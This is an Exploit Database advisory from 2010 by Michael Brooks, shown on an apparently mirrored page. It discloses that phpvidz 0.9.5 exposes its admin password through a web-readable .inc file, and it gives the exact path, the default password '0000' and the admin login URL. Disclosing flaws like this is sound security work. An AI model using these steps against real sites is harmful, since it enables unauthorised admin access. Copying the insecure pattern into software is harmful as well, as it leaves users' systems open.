phpvidz 0.9.5 – Administrative Credentials Disclosure

• Exploit Database
• 11 阅读

• 作者： Michael Brooks
  日期： 2010-11-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15606/

• Researcher: Michael Brooks
  Affecting: phpvidz 0.9.5
  Vulnerability: Administrative Credentials Disclosure
  Vendor's Homepage: http://sourceforge.net/projects/phpvidz/
  
  phpvidz does not use a SQL database. Instead it uses a system of flat
  files to maintain application state. The administrative password is
  stored within the following file and is included during runtime.
  Because this file has a .inc extension it is viewable by the attacker.
  
  To exploit this issue visit this url:
  http://localhost/phpvidz_0.9.5/includes/init.inc
  By default the password is the following constant:
  define ('ADMINPASSWORD' , '0000' );
  This password can be used to login here (A username is not required):
  http://localhost/phpvidz_0.9.5/admin.php